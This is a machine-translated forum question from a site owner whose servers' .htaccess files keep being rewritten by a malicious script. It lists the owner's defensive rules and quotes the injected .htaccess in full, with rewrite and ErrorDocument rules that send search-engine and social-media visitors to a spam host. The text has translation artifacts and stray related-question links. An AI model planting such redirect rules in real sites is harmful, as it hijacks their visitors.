恶意脚本更改服务器上的.htaccess文件

可能重复：
我的服务器被黑了应急

似乎有一个恶意脚本访问我的服务器和编辑我的所有托pipe网站的.htaccess文件redirect到垃圾邮件链接。

什么是阻止这种情况发生的最好方法？

我已经更改了我的服务器访问详细信息，包括控制面板和FTP访问，并尝试使用以下代码更新现有的.htaccess文件，但似乎仍然在发生变化。

• .htaccess和redirect – 除了这个列表redirect
• .htaccessredirect导致内部服务器错误
• htaccessredirect问题
• .htaccess重写：如何为特定文件添加exception？
• 文档根目录更改时，重写规则停止工作

# BEGIN WordPress RewriteEngine On RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] # END WordPress # protect wp-config.php <files wp-config.php> Order deny,allow Deny from all </files> # Protect the htaccess file <files .htaccess> order allow,deny deny from all </files> # protect from sql injection Options +FollowSymLinks RewriteEngine On RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR] RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR] RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) RewriteRule ^(.*)$ index.php [F,L] 

还有什么可以帮助吗？

对于缺乏信息抱歉，我是相当新的服务器等，所以如果有任何额外的细节需要，只是喊出来！

在此先感谢您的帮助。

担

*******编辑*******

恶意.htaccess请求

 <IfModule mod_rewrite.c> RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*) RewriteRule ^(.*)$ http://byidelement.ru/ruby/index.php [R=301,L] RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*) RewriteRule ^(.*)$ http://byidelement.ru/ruby/index.php [R=301,L] </IfModule> # STRONG HTACCESS PROTECTION</code> <Files ~ "^.*\.([Hh][Tt][Aa])"> order allow,deny deny from all satisfy all </Files> # protect from sql injection Options +FollowSymLinks RewriteEngine On RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR] RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR] RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) RewriteRule ^(.*)$ index.php [F,L] ErrorDocument 400 http://byidelement.ru/ruby/index.php ErrorDocument 401 http://byidelement.ru/ruby/index.php ErrorDocument 403 http://byidelement.ru/ruby/index.php ErrorDocument 404 http://byidelement.ru/ruby/index.php ErrorDocument 500 http://byidelement.ru/ruby/index.php